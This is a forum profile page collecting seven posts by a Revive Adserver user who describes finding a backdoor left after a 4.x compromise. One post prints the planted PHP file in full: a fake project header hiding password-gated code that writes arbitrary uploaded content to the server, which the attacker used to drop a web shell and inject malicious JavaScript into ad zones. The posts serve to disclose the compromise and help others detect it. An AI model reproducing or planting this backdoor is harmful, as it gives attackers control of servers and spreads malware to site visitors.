Jump to content

Thierry

Approved members
  • Posts

    7
  • Joined

About Thierry

Recent Profile Visitors

The recent visitors block is disabled and is not being shown to other users.

Thierry's Achievements

Newbie

Newbie (1/5)

0

Reputation

  1. The backdoor was placed in the directory containing the ads media that typically gets carried over even after a fresh install... If you don't upload media directly to your server, then your approach is indeed sound. T.
  2. at least we can help one another... this is what I'm trying to do sharing my experience & findings (I wouldn't have done it without this forum otherwise).
  3. Tricky issue! While during any upgrade they could (should?) check that particular folder for php files (none should be there...) and alert users that the server was compromised. The course of action after is beyond their hands depending of what the hackers did. There is also no garantee that they would catch all compromised servers -- the hackers would certainly rush to add more backdoors to the servers they have access to... Having a false sense of security is worst than knowing you are exposed ? ? ? T.
  4. Glad I could help! I did not find any other file. To spy on my hacker I did replace their file by one of my own that would capture their payload and allow me to understand what they were trying to do... The hacker tried to connect a few more times to my server last July then quitted for a while. He made another attempt last January, I haven't heard back since. As I sadly cannot assume there isn't another backdoor left somewhere... ??? I did set a cron job to check on the PREPEND fields every 5 minutes and alert me if something goes wrong (that's probably their favorite ways of delivering payloads to your visitor). Cheers, T.
  5. Very late reply but I encountered the same issue... (I'm posting in case that may help someone else). The file in the images directory (with a similar kind of name) was used from time to time to load a shell on my server (which would be erased after the "work" was done). The hacker was free to directly connect to my DB and put its payload to the banners (Zone's PREPEND fields were loaded with Malicious Javascript) or do anything he/she wanted.
  6. Beware that they did not also leave a backdoor on your site... I just published a new topic on that subjet. Once a hacker has access to your site like they could have with the security hole in 4.x their possibilities are endless. Check your www/images directory for php files. T.
  7. My previous 4.x install got compromised, some of my users were complaining about malware alert and/or unwanted advertising (it was not all the time nor on all platform, making the issue difficult to pinpoint). I thought cleaning the Revive DB and upgrading my Revive install would be enough to secure my site but sadly no, PREPEND payloads kept being added from time to time despite running the latest version of Revive. It took some hunting but I eventually discovered the hacker left a tiny PHP file in my Revive www/images directory. As I'm keeping that directory during upgrades, the security hole remained. The file was simple : ---- <?php /* +---------------------------------------------------------------------------+ | Revive Adserver | | http://www.revive-adserver.com | | | | Copyright: See the COPYRIGHT.txt file. | | License: GPLv2 or later, see the LICENSE.txt file. | +---------------------------------------------------------------------------+ */ if(isset($_POST['adSelect']) && md5($_POST['adSelect']) == '***MD5HASH***') { @file_put_contents($_POST['banner_path'], $_POST['banner_contents']); } ---- This allowed the hacker to load and execute any kind of files/scripts on my server!!!! Lately he/she was uploading a "1.php" file (containing as I found out a WSO shell) which he/she would connect to, in order to load PREPEND payload to my Revive DB... He would use a different IP to create the 1.php and connect to it (trying to hide its trace). The file would be erased once he/she had done her "job". The process looks fairly manual. Of course the hacker may well have left other backdoors outside of my Revive install ? ? ? This makes it impossible to guarantee all issues are resolved after an upgrade (may be a quick check for PREPEND payload and/or PHP files in the www/images directory could offer an alert that something is fishy...). I would strongly recommend anyone who's had a 4.x install compromised to hunt for such files. Cheers, T.
×
×
  • Create New...